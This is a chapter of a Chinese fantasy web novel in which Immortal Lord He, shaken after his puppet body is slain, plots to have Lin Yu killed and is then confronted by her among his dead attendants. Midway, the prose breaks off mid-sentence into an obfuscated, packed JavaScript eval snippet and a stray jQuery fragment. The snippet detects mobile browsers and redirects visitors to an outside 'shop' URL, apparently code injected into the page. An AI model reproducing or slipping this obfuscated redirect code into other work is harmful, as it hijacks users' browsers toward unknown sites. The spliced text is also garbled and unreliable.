75. 洞府
作品:《神女她只想斩神》 长光山洞府。
合仙君从睡梦中惊醒,冷汗爬满了他的脊背,几乎将整件寝衣都浸地湿透,他整个人像是刚被从水里打捞上来一样,因为太过惊慌,仍然有汗珠从他发丝中渗透出来顺着他面颊上的皱纹滴落。
他从没感受到过如此这般浓烈的惊骇,他附在林昭的身体里,真真实实地死了一次,林与的反应速度太快了,两句话之间她就发觉了不对,且毫不犹豫地给了他一刀。
一股从头爬到脚的恐惧之情在他心底掀起一阵涟漪,他沉寂百年的心跳再次猛烈地跳动了起来,他很少有这么真实的“活着”的感觉。
“仙君,你怎的起来了?”守夜的仙侍见到榻上的人惊醒连忙问安,“可是梦魇了?”
仙侍的话倒是将合仙君从翻涌的情绪中抽离出来,他对这些他新招来的仙侍十分不满,他提醒道:“仙人不会梦魇,噩梦只有弱小的凡人才会做,滚出去守着,没有本仙君传令不得入内!”
仙侍知道自己又说错了话连忙退下,待退远一段路出了洞府才为自己感到愤愤不平,嘴里咒骂了合仙君两句,骂高兴了又蹦蹦跳跳往外去了。
等视线里没了人影后,合仙君又没来由害怕起来,漆黑的洞府里什么也看不见,他畏光,夜里从不让人留灯火,但现在乌黑的环境却让他产生了一丝惧怕。
“来人,你们都回来,给本仙守在洞府门口,不得让任何人靠近,一只苍蝇都不要放进来!”合仙君对着床榻旁的一面小铜镜吩咐道。
铜镜传声,很快就有浩浩荡荡的仙侍们受命回来,在洞府外守起了夜,寂静的洞府顿时有了窸窸窣窣的人声,仙侍们初来乍到一点都不懂规矩,如果换做是平时,合仙君必然要骂,但今夜有所不同,听闻人声,合仙君安定了一些重新躺回被子里。
这几日发生的一幕幕都从他脑中飞快闪过,十日前,他做了他成仙以来的第三场梦,他再次梦到了那个置他于死地的疯子。
直觉告诉他,林霁月一定没有死,于是他又趁着半夜去找了司命,他从林霁月的命书里查到了她的姐姐林昭,紧接着,他又顺藤摸瓜找到了于嘉。
他草草翻看过林昭的命书,修道十年,天赋异禀,半仙之躯,成仙有望,其实看到命书前面一部分的时候,合仙君是有过恐惧的,林昭如此天赋,那么想来林霁月只会比她更加厉害。
但翻到命书最后一卷,合仙君又释怀地笑出了声,命书给林昭的结局很草率,再无成仙可能,于月神节前夕死于奉天楼长老之手,替补了月神节的第十一个祭品。
合仙君指尖在命书最后一行字上轻点了一下,他看到了一个熟悉的名字——于嘉,他曾在一次祭神节见过于嘉,于是,一个计划浮现在了他心头。
他通过奉天楼仙尊召见了国师于嘉,当着他的面“复活”了林昭的躯壳,于嘉当场感动得泪如雨下,他抱着“林昭”几度哽咽几乎说不出话来,但合仙君只觉得无趣,他掌管人间姻缘百年,怎么会看不出于嘉的眼神里只有愧疚。
愧疚才是正常的,更何况那只是他照着红线变出来的一个傀儡,并不是真的人,合仙君冷嗤一声,林昭的下场,换做谁都会愧疚的,等愧疚过去后,这一切只会变成厌烦。
合仙君帮于嘉复活了他所谓的妻子,所以他也顺理成章地提出了自己的交易,要求于嘉找到林霁月,杀了她。
他对此十分有把握,林霁月一定还活着,于是他操控着“林昭”拉着于嘉四处闲逛,他不信林霁月不回来找她这个姐姐。
只要她来,就让于嘉杀了她。
然而事情的发展与他预料的大相径庭,几个时辰前,他通过傀儡林昭的眼睛看到于嘉想要成亲,他近乎恐怖的直觉再次找上了他,他觉得林霁月会在今晚来找“林昭”,于是他附身上了傀儡。
直到见到林与的一瞬间,他浑身的血液似乎都凉了,他这才反应过来一切都不太对劲,林与的脸,他早就见过的,不是在梦中,而是在三月前的神女祭祀礼上,那天,他附身在了一个小信徒身上去观礼了,不为别的,只是因为听仙尊说,新任神女很像阿姒。
彼时合仙君附在林昭身上,他坐在鲜红的喜床上,层层叠叠的红布映在他眼中,他只觉得不真实。
十年一梦,他恐惧了十年的噩梦。
他这才明白为什么捉不到当年的女童了,他做的是预知梦,而十年后的林霁月知道他的预知梦,所以她来杀他的时候,用的是乔装后的面容,他找一副虚假容颜找了十年,始终没想通这之间的因果关系。
他天生拥有了绝对准确的预知能力,他以为这是他的天赋,在他还是凡人的时候,他就知道自己日后会成仙,所以直到飞升的那一天,他也没有期待过什么,一切都是命中注定而已。
然而上天给他的天赋太高了,他没有与之匹及的能力,所以天赋也成为了他的催命符。
直到见到真实的林霁月的那一瞬,合仙君想过退缩,绸缪多年,再见到真实的时刻,他才知道恐惧已经深深扎入他的骨髓,即使这个林霁月什么都还没做,他就已经畏惧了。
合仙君知道林霁月现在的假名字叫做林与,奉天楼的仙尊曾跟他提起过,于是他推测着林昭会怎么和林与相处,他鬼迷心窍地唤了一声,“小与。”
可就是这一句话,林霁月一眼就认出了“林昭”是假的,毫不犹豫一刀杀了她的躯壳。
濒死的感觉几乎将合仙君拉回百年前自己还是凡人的时候,他做了几百年的神仙了,从没有这么狼狈过。
想着想着,黑暗中,合仙君无端浮起了一丝不善的笑意,识破了又怎样,至少,他看到林霁月的脸了,他知道林霁月的身份了。
他不由得狂笑了起来,奉天楼神女,妄图弑神,她一时得逞罢了,只要他跟奉天楼仙尊传一道命令,林与就必死无疑了,他才没有必要害怕什么。
合仙君跳动的心脏稍微平息了一些,他现在已经离开了林昭的傀儡躯壳,离开那个该死的国师府了,林霁月纵使
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263418|188404||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再厉害也不会找到他在哪里,现在一切的主动权都掌握在了他手里。
想到这里,合仙君一把掀开碍事的锦被,他从榻上爬起来走向书案前,三下五除二就写下了一道命令,写完他又拿起看了一遍,合仙君满意地看着自己手中的墨纸,对门外晃动的人影吩咐道:“去,将这道令送去奉天楼,交与他们的仙尊!”
“算了,光送道传令不够,保险起见本仙君也得一同去一趟奉天楼,本仙君得告诉那个凡界仙尊,有歹人混进了他们的奉天楼!”
合仙君:“也不知道是哪个不长眼的人选出来的神女,那个仙尊也是蠢的可以,让这样的人混在奉天楼里面他都没有察觉出来不对劲,我看这个奉天楼呐,迟早要被人掀了不说!”
“呵,那狗屁仙尊居然还说这个林霁月和阿姒像,真是瞎了眼了!”
合仙君站在门后自顾自说了半天,屋外人影依旧摇曳,却无人回应,也没人推门进来接他那封传令,合仙君顿感疑惑,他一把推开大门,见门边几个仙侍直挺挺站着,皆背对着他,他又喊了两声,但无论他怎么喊也不见回应。
那几个仙侍仍旧像没听见一样一动不动四周狂风骤起,吹的人混身刺冷,几人狭长的水蓝色衣袍摆饰被风吹起向上盘旋,活像是上吊的白绫,再配上他们僵硬的站姿,乍一看很是瘆人。
合仙君没有察觉到空气中微妙的死意,他逐渐怒从心起,“你们是聋了还是哑了?当本仙信徒的时候一个说的比一个好听,现在本仙吩咐你们活干就装聋作哑了?你……”
他一把拍在一个离他最近的仙侍肩头,没成想仙侍居然像块木头一样直挺挺地倒了下去,摔在地上还滚了两圈。
“死,死了!”合仙君双瞳骤缩,与此同时一阵轻地几乎可以不计的凉风从他后脖颈的领口灌入他的衣袍中,他的思绪几乎都被吓得停止了。
他紧绷着身体去推其他几人,皆是一推就倒,早就没了声息,瞬间,惊惧占据了他的心头,他忽然感觉到背后有人在盯着自己,战栗间他僵硬转身,对上了一张他畏惧的不能再畏惧的面容。
一双微微上扬的丹凤眼显得她眉眼十分英气,是和林与真正的面容截然不同的一张脸,眉心的红色神印被她隐去,光洁的额间什么都不曾有,整张脸上最醒目的地方就是她涂着鲜红口脂的唇。
十年前,合仙君就是梦见并画下了这张脸让去去找,只要年龄相符,面容有一丝相像的人都格杀勿论。
直到一切在现实重现,他才发觉其实是林与下半张脸戴了一个面具,面具是苍白的纸色,上面鲜红的嘴唇被画成一个张嘴大笑的样式,原来当初看见的只是一个面具而已,他却将面具误当成了真。
林与朝他浅浅一笑,丹凤眼也随之弯起,她语气温和,“合仙君,又见面了。”
短短几字如同恶魔低语一般烙印在合仙君心头,人在害怕到极致的时候是发不出叫喊的,他嘴巴张大眼睛瞪的几乎就要蹦出眼眶,但仍没能发出叫喊。

